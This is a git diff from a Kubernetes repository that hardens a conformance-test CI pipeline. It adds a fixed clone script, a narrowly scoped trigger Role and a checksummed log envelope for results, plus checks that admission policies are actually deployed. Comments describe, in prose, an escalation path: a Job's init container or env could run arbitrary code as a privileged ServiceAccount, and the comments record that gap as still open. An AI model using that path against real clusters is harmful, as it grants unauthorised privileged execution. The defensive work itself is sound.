+# root:root, so the running container (uid 65532) cannot replace it. The Job's init
+# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
+#
+# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
+# -----------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
+# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
+# So a Job from `conformance-trigger` could carry an init container with
+# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
+# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
+# (pass 3, fail 0).
+#
+# The fix has two halves and NEITHER works alone:
+#   1. this file — a fixed path with fixed behaviour and no argument surface, so there is
+#      nothing for a caller to inject into; and
+#   2. a 4th policy rule requiring every initContainer's `command` to be exactly
+#      ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
+#      and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
+# Without (2) this file is merely available, not required.
+#
+# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
+# -----------------------------------------------------------------------------------
+# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
+# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
+# environment would just move the injection one field over — the trigger sets
+# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
+# executes under the privileged runner SA. Identical shape to the initContainers gap, and
+# "no args" would not have stopped it.
+#
+# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
+# vars are still read, so the Job template can keep declaring them and stay self-documenting,
+# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
+# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
+# characters of a commit that the baked repository actually contains.
+#
+# Inputs (environment; no arguments are accepted):
+#   CONFORMANCE_GIT_SHA   REQUIRED. 40 lowercase hex. The commit under test.
+#   CONFORMANCE_REPO_URL  optional. Must equal the baked URL if set.
+#   CONFORMANCE_SRC       optional. Must equal the baked target if set.
+#   GITEA_USERNAME        optional, from Secret `conformance-git-readonly`.
+#   GITEA_TOKEN           optional, from Secret `conformance-git-readonly`.
+#   TMPDIR / HOME         optional; must be under /workspace. Default to /workspace/{tmp,home}.
+#
+# Runs under: uid 65532, readOnlyRootFilesystem, only the `workspace` and `results` volumes.
+# Everything it writes therefore lives under /workspace. There is no writable /tmp.
+###############################################################################
+set -euo pipefail
+
+# --- COMPILED-IN, NOT CONFIGURABLE (see the header) --------------------------
+readonly BAKED_REPO_URL="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git"
+readonly BAKED_SRC="/workspace/src"
+
+die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+log() { printf '==> %s\n' "$*"; }
+
+[ "$#" -eq 0 ] || die "takes no arguments (got $#: $*). Arguments are where an injection would live."
+
+# --- the one genuinely trusted input ----------------------------------------
+# A bad SHA must never degrade into "ran whatever the branch tip was": an unrendered
+# @@CONFORMANCE_GIT_SHA@@ placeholder has to be a hard failure, not a silent run of main.
+: "${CONFORMANCE_GIT_SHA:?CONFORMANCE_GIT_SHA is not set; the CI trigger did not render it}"
+printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$' \
+  || die "CONFORMANCE_GIT_SHA is not a 40-hex commit id: '${CONFORMANCE_GIT_SHA}'
+       The CI trigger did not substitute it, or substituted junk."
+
+# --- env that may agree with the baked values, but may not override them -----
+REPO_URL="${CONFORMANCE_REPO_URL:-${BAKED_REPO_URL}}"
+[ "${REPO_URL}" = "${BAKED_REPO_URL}" ] || die "CONFORMANCE_REPO_URL does not match the image's baked repository.
+         got:    ${REPO_URL}
+         baked:  ${BAKED_REPO_URL}
+       Refusing. A caller that can choose the repository can choose the code that runs."
+
+SRC="${CONFORMANCE_SRC:-${BAKED_SRC}}"
+[ "${SRC}" = "${BAKED_SRC}" ] || die "CONFORMANCE_SRC does not match the image's baked clone target.
+         got:    ${SRC}
+         baked:  ${BAKED_SRC}
+       Refusing."
+
+# Scratch paths must stay on the workspace volume; the root filesystem is read-only.
+# `/workspace` ITSELF is allowed, not just subdirectories: the image's own ENV sets
+# HOME=/workspace, and an earlier version of this guard rejected exactly that — it matched
+# only `/workspace/*` and so refused its own default. Caught by running it, not by reading it.
+: "${TMPDIR:=/workspace/tmp}"
+: "${HOME:=/workspace/home}"
+on_workspace() { case "$1" in /workspace|/workspace/*) return 0 ;; *) return 1 ;; esac; }
+on_workspace "${TMPDIR}" || die "TMPDIR must be /workspace or under it (got '${TMPDIR}')"
+on_workspace "${HOME}"   || die "HOME must be /workspace or under it (got '${HOME}')"
+export TMPDIR HOME
+mkdir -p "${TMPDIR}" "${HOME}"
+
+# --- credential (optional) ---------------------------------------------------
+# git's shell credential helper is invoked as `sh -c '<value> get'`, so it reads $1 and
+# answers from the environment. The token therefore never appears in argv and never on disk.
+#
+# ANONYMOUS FALLBACK, DELIBERATE AND ANNOUNCED. Read access to this repository currently
+# needs no credential (measured: `ls-remote` succeeds unauthenticated from inside this
+# image), so requiring the Secret would fail runs that would otherwise work — and would make
+# this script untestable without one. It is not a privilege downgrade: the integrity
+# guarantee here is the SHA assertion below, not the credential. Which mode was used is
+# logged, so a run that silently lost its Secret is visible in the log rather than inferred.
+CRED=''
+if [ -n "${GITEA_USERNAME:-}" ] && [ -n "${GITEA_TOKEN:-}" ]; then
+  CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
+  log "authenticating as '${GITEA_USERNAME}' (token from the environment, never argv)"
+else
+  log "no GITEA_USERNAME/GITEA_TOKEN in the environment — cloning ANONYMOUSLY"
+fi
+
+git_c() {
+  if [ -n "${CRED}" ]; then git -c credential.helper="${CRED}" "$@"; else git "$@"; fi
+}
+
+# --- clone, land the exact commit, and PROVE it ------------------------------
+log "shallow clone ${REPO_URL} -> ${SRC}"
+git_c clone --depth 1 --no-tags --single-branch "${REPO_URL}" "${SRC}"
+
+if ! git -C "${SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
+  log "${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
+  git_c -C "${SRC}" fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
+fi
+
+git -C "${SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
+
+# The assertion is the point of the whole script: everything above is best-effort plumbing,
+# this is what makes "the suite ran at the commit under test" a fact rather than a hope.
+head="$(git -C "${SRC}" rev-parse HEAD)"
+[ "${head}" = "${CONFORMANCE_GIT_SHA}" ] \
+  || die "checked out ${head}, expected ${CONFORMANCE_GIT_SHA}."
+
+test -x "${SRC}/conformance/run.sh" \
+  || die "no executable conformance/run.sh at ${head}."
+
+log "suite ready at ${head}"

conformance/incluster/kustomization.yaml

@@ -0,0 +1,14 @@
+# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
+#
+# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
+# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
+# reconciling it would create a permanent Job object and fight the trigger for ownership.
+#
+# The identities here are inert without
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
+# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
+# half — see the header of rbac.yaml.
+apiVersion: kustomize.config.k8s.io/v1beta1
+kind: Kustomization
+resources:
+  - rbac.yaml

conformance/incluster/rbac.yaml

@@ -174,3 +174,68 @@ subjects:
   - kind: ServiceAccount
     name: conformance-runner
     namespace: conformance
+---
+# =============================================================================
+# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
+#
+# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
+# that can `create jobs` in this namespace can create a Job with
+# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
+# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
+# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
+# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
+# access") while appearing to satisfy it.
+#
+# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
+# THIS ServiceAccount only when they match the committed conformance shape. This Role is
+# the necessary half; that policy is the sufficient half. Neither works alone — do not
+# grant this Role without that policy reconciled and ENFORCING.
+#
+# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
+# =============================================================================
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+rules:
+  # Create the run, and watch it to completion.
+  - apiGroups: [batch]
+    resources: [jobs]
+    verbs: [create, get, list, watch]
+  # Read the Job's pod and its log — this is how results come back. Deliberately NOT
+  # pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
+  # them from the log, so no execution channel into the runner pod is ever granted.
+  - apiGroups: [""]
+    resources: [pods, pods/log]
+    verbs: [get, list, watch]
+  # NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
+  # failed run), no secrets, no configmaps, no exec, no create on pods.
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: conformance-trigger
+subjects:
+  - kind: ServiceAccount
+    name: conformance-trigger
+    namespace: conformance

conformance/run.sh

@@ -60,6 +60,17 @@
 #   _artifacts/status/status.md        human requirement-status report (--status)
 #   _artifacts/status/status.json      machine requirement-status report (--status)
 #
+# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
+#   CONF_ARTIFACTS=<dir>           relocate the artifact tree off the default
+#                                  conformance/_artifacts (the Job mounts a `results`
+#                                  volume, which cannot sit inside the git-clone target).
+#   CONF_EMIT_ARTIFACTS_TGZ=1      on exit — pass, fail or abort — print a delimited,
+#                                  checksummed base64 tar of the artifact tree to STDOUT,
+#                                  because `kubectl logs` is the only channel CI has out of
+#                                  the Job (no pods/exec, no kubectl cp). See the RESULTS
+#                                  TRANSPORT block below for the envelope and for the five
+#                                  checks a collector MUST make. Never set this locally.
+#
 # Run ledger (TRACKED — commit these; --record only):
 #   runs/<UTC>-<short-sha>/run.log            full tee'd run output (carries the sentinels)
 #   runs/<UTC>-<short-sha>/report.junit.xml   the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
 # shellcheck source=versions.env
 source "${CONF_ROOT}/versions.env"
 
-ARTIFACTS="${CONF_ROOT}/_artifacts"
+# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
+# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
+# path, because that path is inside the directory the init container `git clone`s into and
+# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
+# a local run is byte-identical to what it always was.
+ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
 COVERAGE_OUT="${ARTIFACTS}/coverage"
 STATUS_OUT="${ARTIFACTS}/status"
 JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
   exit "${RUN_RC}"
 fi
 
+###############################################################################
+# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
+# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
+#
+# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
+# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
+# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
+# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
+# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
+# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
+# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
+# ships its JUnit — the red report is the evidence the gate needs most.
+#
+# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
+# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
+# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
+# may even partially unpack — silent, plausible garbage. So the envelope carries everything
+# needed to PROVE completeness, and carries it TWICE:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the .tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
+# never as "no artifacts", never as a pass:
+#   1. exactly one BEGIN line and exactly one END line;
+#   2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
+#      means two interleaved or re-emitted envelopes in one log;
+#   3. the count of body lines between them equals lines=;
+#   4. the decoded byte count equals bytes=;
+#   5. sha256 of the decoded bytes equals sha256=.
+# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
+# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
+# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
+# which is the whole design requirement.
+#
+# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
+# against the Job's completion condition instead of trusting either signal alone.
+#
+# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
+# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
+# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
+# entry changed with the environment would be a trap for the collector. It unpacks the
+# contents wherever it likes.
+#
+# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
+# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
+###############################################################################
+CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
+CONF_ARTIFACT_ENVELOPE_VERSION="v1"
+
+conf_emit_artifacts_tgz() {
+  local rc="${1:-0}"
+  # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
+  # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
+  # change the run's verdict — nothing here can turn a red run green or a green run red.
+  trap - EXIT
+  (
+    set +e
+    local tmp tgz b64 bytes lines sha payload
+    tmp="${TMPDIR:-/tmp}"
+    tgz="${tmp}/conformance-artifacts.$$.tgz"
+    b64="${tgz}.b64"
+    if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
+      printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
+      rm -f "${tgz}"
+      exit 0
+    fi
+    if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
+      printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
+      rm -f "${tgz}" "${b64}"
+      exit 0
+    fi
+    bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
+    lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
+    sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
+    payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
+    printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    cat "${b64}"
+    printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    rm -f "${tgz}" "${b64}"
+    exit 0
+  )
+  exit "${rc}"
+}
+
+# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
+# emits a second envelope into its child's tee'd log.
+if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
+  trap 'conf_emit_artifacts_tgz "$?"' EXIT
+fi
+
 # --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
 gen_coverage() {
   # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no

conformance/tests/l0-static/admission-policies-actually-applied/chainsaw-test.yaml

@@ -0,0 +1,42 @@
+# =============================================================================
+# L0 STATIC — every authored admission policy is actually APPLIED  (R-SEC-01, R-SEC-02)
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
+# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
+# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
+# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
+# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
+# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
+#
+# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
+# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
+# would have skipped this check on the very commit that introduced the defect.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: admission-policies-actually-applied
+  labels:
+    conformance.home.k3s/R-SEC-01: "true"
+    conformance.home.k3s/R-SEC-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
+    conformance.home.k3s/layer: "L0"
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      Every ClusterPolicy authored under platform/kyverno/ is either referenced by
+      platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
+      exemption that is genuinely not applied — so a policy cannot be authored, tested,
+      green, and absent from the cluster.
+spec:
+  steps:
+    - name: every-authored-policy-is-applied-or-documented-ci-only
+      description: >-
+        Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
+        into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/admission-policies-actually-applied/check.sh

@@ -0,0 +1,120 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — admission-policies-actually-applied
+# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
+#
+# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
+#
+# platform/kyverno/ holds THREE lists, and only one of them applies anything:
+#   1. platform/kyverno/admission/kustomization.yaml  — reference only. Its own sibling says
+#      "kept as reference; THIS file is the buildable render root".
+#   2. platform/kyverno/kustomization.yaml            — that render root: namespace +
+#      HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
+#   3. platform-config/kustomization.yaml             — THE ONE. Kyverno CRs go here because
+#      they need the CRDs from the HelmRelease in (2), so they reconcile a tier later.
+#
+# On 2026-09-29 a ClusterPolicy (conformance-trigger-job-shape, the R-SEC-02 boundary bounding
+# what the conformance CI trigger may create) was added to (1). Everything went green: the file
+# parsed, `kyverno test` exercised it BY PATH and passed, the gate passed, Flux reported
+# `platform` Ready at the new revision — and the policy was never in any applied set. The
+# cluster ended up running the conformance-trigger ServiceAccount with NOTHING bounding it,
+# which is precisely the state that identity's own RBAC header says must never exist.
+#
+# Nothing could have caught it. `kyverno test` proves a policy is CORRECT, not that it is
+# DEPLOYED. This check asserts the second thing.
+#
+# GIVEN the repository as git tracks it,
+# WHEN  every file under platform/kyverno/ that declares a ClusterPolicy is enumerated,
+# THEN  each one is either referenced by platform-config/kustomization.yaml (so Flux applies
+#       it), or named in CI_ONLY below with a reason — and CI_ONLY itself may not name a
+#       policy that IS applied, so the exemption list cannot rot into a lie either way.
+# =============================================================================
+set -euo pipefail
+DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+ROOT="$(cd "${DIR}/../../../.." && pwd)"        # repo root
+exec python3 - "$ROOT" <<'PY'
+import sys, subprocess
+from pathlib import Path
+
+ROOT = Path(sys.argv[1])
+FAILURES, CHECKS = [], 0
+
+def check(cond, desc):
+    global CHECKS
+    CHECKS += 1
+    if not cond:
+        FAILURES.append(desc)
+
+# Policies authored for the CI L0 gate that are deliberately NOT applied in-cluster. Each needs
+# a reason, and each is asserted BELOW to really be absent from the applied set — an exemption
+# that silently starts being applied is as much a lie as one that silently stops.
+CI_ONLY = {
+    "disallow-plaintext-secrets":
+        "CI-only by design: it requires a top-level `sops` block, which is IMPOSSIBLE at "
+        "admission because Flux decrypts before the Secret reaches the API server. Its "
+        "in-cluster counterpart is admission/secret-provenance.yaml.",
+}
+
+tracked = subprocess.run(["git", "ls-files", "-z", "--", "platform/kyverno/**/*.yaml",
+                          "platform/kyverno/*.yaml"],
+                         cwd=ROOT, capture_output=True, text=True, check=True)
+files = [ROOT / p for p in tracked.stdout.split("\0") if p]
+
+# A ClusterPolicy file, identified without a YAML parse of every doc: cheap and sufficient.
+policies = {}
+for f in files:
+    try:
+        txt = f.read_text()
+    except Exception:
+        continue
+    if "kind: ClusterPolicy" not in txt:
+        continue
+    for line in txt.splitlines():
+        st = line.strip()
+        if st.startswith("name:") and "  name:" in line:
+            policies[f.relative_to(ROOT).as_posix()] = st.split("name:", 1)[1].strip()
+            break
+
+check(len(policies) >= 6,
+      f"(0) the scan found {len(policies)} ClusterPolicy file(s) under platform/kyverno/ — "
+      f"too few means the scan broke, and every assertion below would be vacuous")
+
+applied_txt = (ROOT / "platform-config" / "kustomization.yaml").read_text()
+
+unapplied, wrongly_exempt = [], []
+for rel, name in sorted(policies.items()):
+    # platform-config references these as ../platform/kyverno/...
+    referenced = rel in applied_txt or rel.replace("platform/", "../platform/", 1) in applied_txt
+    if name in CI_ONLY:
+        if referenced:
+            wrongly_exempt.append(f"{name} ({rel}) is listed CI_ONLY but IS applied by platform-config")
+    elif not referenced:
+        unapplied.append(f"{name} ({rel})")
+
+check(not unapplied,
+      f"(1) every in-cluster ClusterPolicy is referenced by platform-config/kustomization.yaml "
+      f"— an unreferenced policy is authored, tested, green, and NEVER APPLIED {unapplied if unapplied else ''}")
+
+check(not wrongly_exempt,
+      f"(2) no CI_ONLY exemption names a policy that IS applied — a stale exemption hides a "
+      f"real deployment {wrongly_exempt if wrongly_exempt else ''}")
+
+for name, reason in CI_ONLY.items():
+    check(bool(reason.strip()),
+          f"(3) CI_ONLY['{name}'] carries a reason — an unexplained exemption is how this "
+          f"list stops being reviewable")
+
+check(CHECKS >= 4,
+      f"only {CHECKS} assertions ran — the check degenerated to a near-no-op")
+
+if FAILURES:
+    print(f"CHECK FAIL (admission-policies-actually-applied): {len(FAILURES)} of {CHECKS} assertions failed",
+          file=sys.stderr)
+    for f in FAILURES:
+        print(f"  - {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: admission-policies-actually-applied — {CHECKS} assertions; "
+      f"{len(policies)} ClusterPolicy file(s), {len(policies) - len(CI_ONLY)} applied by "
+      f"platform-config, {len(CI_ONLY)} CI-only with reasons. Proves policies are DEPLOYED, "
+      f"not that they are correct — `kyverno test` is what proves correctness.")
+PY

conformance/tests/l0-static/c2-root-surface/check.sh

@@ -216,6 +216,20 @@ def is_literal_base(host: str) -> bool:
 DELIVERY_ROOTS = ("apps", "platform", "platform-config", "platform-config-cdi",
                   "runbooks", "clusters", "bootstrap", "catalog")
 
+# NARROW EXEMPTION to (0), for reconciled trees that deliberately serve NOTHING.
+# `conformance/incluster` (the L2/L3 runner + CI-trigger identities, R-SEC-02) is reconciled
+# by clusters/base/conformance.yaml but contains only a Namespace, ServiceAccounts, RBAC and
+# an admission-bounded Job template. Adding "conformance" to DELIVERY_ROOTS instead would be
+# wrong for the reason stated above: it would sweep in this harness's synthetic fixture
+# routes and make (8) demand the operator's dashboard link them.
+#
+# THE EXEMPTION POLICES ITSELF. An unchecked allowlist is how (0) would rot into a fail-open —
+# add a tree here, later put an HTTPRoute in it, and the forward direction goes quietly green
+# on a hidden service. So each exempted tree is ASSERTED below to declare no route and no
+# hostname-publishing Service. If that ever stops being true the check fails and the tree must
+# become a real delivery root.
+NON_SERVING_RECONCILED = ("conformance/incluster",)
+
 
 def tracked_yaml() -> list[Path]:
     out = subprocess.run(["git", "ls-files", "-z", "--", "*.yaml", "*.yml"],
@@ -262,12 +276,31 @@ flux_ks = [(p, d) for p, d in docs_all()
 # a Kustomization declared elsewhere); they name no source and reconcile nothing, so requiring
 # a path of them would fail on a file that is correct.
 reconcilers = [(p, d) for p, d in flux_ks if (d.get("spec", {}) or {}).get("sourceRef")]
+def _reconciled_path(d):
+    return (d.get("spec", {}) or {}).get("path", "").lstrip("./").rstrip("/")
+
+
 unscanned = sorted({
     f"{p.relative_to(ROOT)}:{(d.get('spec', {}) or {}).get('path', '') or '(no path)'}"
     for p, d in reconcilers
-    if (d.get("spec", {}) or {}).get("path", "").lstrip("./").split("/")[0]
-    not in DELIVERY_ROOTS
+    if _reconciled_path(d).split("/")[0] not in DELIVERY_ROOTS
+    and _reconciled_path(d) not in NON_SERVING_RECONCILED
 })
+
+# The exemption's own guard: an exempted tree must actually serve nothing.
+exempt_serving = sorted({
+    f"{p.relative_to(ROOT)} ({d.get('kind')})"
+    for p, d in docs_all()
+    if any(str(p.relative_to(ROOT)).startswith(t + "/") for t in NON_SERVING_RECONCILED)
+    and (d.get("kind") == "HTTPRoute"
+         or (d.get("kind") == "Service"
+             and any("hostname" in str(k).lower()
+                     for k in ((d.get("metadata", {}) or {}).get("annotations", {}) or {}))))
+})
+check(not exempt_serving,
+      f"(0b) every NON_SERVING_RECONCILED tree really serves nothing — an exempted tree that "
+      f"gains a route would hide a service from this check entirely "
+      f"{exempt_serving if exempt_serving else ''}")
 check(len(reconcilers) >= 10 and not unscanned,
       f"(0) all {len(reconcilers)} Flux-reconciled path(s) lie inside a scanned root — a "
       f"reconciled tree this check does not read is a service it cannot require a link for "

conformance/versions.env

@@ -6,6 +6,10 @@
 
 # Chainsaw — L1 rendering / L2 behavioral / L3 fault-injection runner (ADR-0011).
 CHAINSAW_VERSION="v0.2.12"
+# The UPSTREAM chainsaw image. It is NOT what the in-cluster Job runs — see
+# CONFORMANCE_RUNNER_IMAGE below. It carries the chainsaw binary and essentially nothing
+# else (no bash, no python3, no kubectl, no git), so `command: ["./run.sh"]` on this image
+# fails at exec. Kept only as the provenance of the chainsaw binary we rebuild from.
 CHAINSAW_IMAGE="ghcr.io/kyverno/chainsaw:v0.2.12"
 
 # kubectl — used by run.sh for cluster reachability preflight and by probe scripts.
@@ -18,3 +22,52 @@ KYVERNO_VERSION="v1.19.0"
 # Python 3 — coverage generator + JUnit emitter use stdlib only (no pip deps), so the
 # only constraint is a modern interpreter.
 PYTHON_MIN="3.9"
+
+# --- In-cluster conformance runner image -------------------------------------
+# Built from conformance/incluster/Containerfile by conformance/incluster/build-image.sh.
+# This — not CHAINSAW_IMAGE — is what the L2/L3 Job runs (bash + python3 + chainsaw +
+# kubectl + git). Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# It ALSO carries /usr/local/bin/conformance-clone (0755 root:root, no argument surface) as the
+# init container's only entrypoint. That is a security fixture, not a convenience: the
+# admission policy never reads `initContainers`, so an init container with an inline shell
+# script is currently admitted with the privileged runner SA. The policy rule that makes the
+# fixed path REQUIRED is not in this branch — see conformance/incluster/README.md.
+#
+# THE REPOSITORY PATH IS NOT A PREFERENCE. platform/kyverno/admission/
+# conformance-trigger-job-shape.yaml is a fail-closed Enforce ClusterPolicy (R-SEC-02) that
+# ADMITS a conformance-trigger Job only when its image matches
+#   gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*
+# Any other path, and any TAG reference, is DENIED at admission. Do not "tidy" these values.
+CONFORMANCE_RUNNER_IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# Build handle only. Admission never sees the tag; a Job must reference the digest.
+CONFORMANCE_RUNNER_IMAGE_TAG="chainsaw0.2.12-kubectl1.36.4-fc44"
+#
+# ############################################################################
+# # DIGEST DELIBERATELY EMPTY — THE IMAGE HAS NOT BEEN PUBLISHED YET.        #
+# ############################################################################
+# The image has been BUILT and its toolchain verified locally (non-root uid 65532,
+# read-only rootfs: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4, chainsaw 0.2.12,
+# and `./run.sh --layer l2 --no-cluster` completing with rc 0). It has NOT been pushed:
+# pushing needs a registry credential, and publishing the artifact a fail-closed security
+# boundary then trusts is an OPERATOR action, not an agent's.
+#
+# OPERATOR, to complete the pin:
+#   1. ./conformance/incluster/build-image.sh          # rebuild, verify, print the commands
+#   2. podman login gitea.home.keithjackson.dev
+#   3. podman push --digestfile /tmp/conformance-runner.digest \
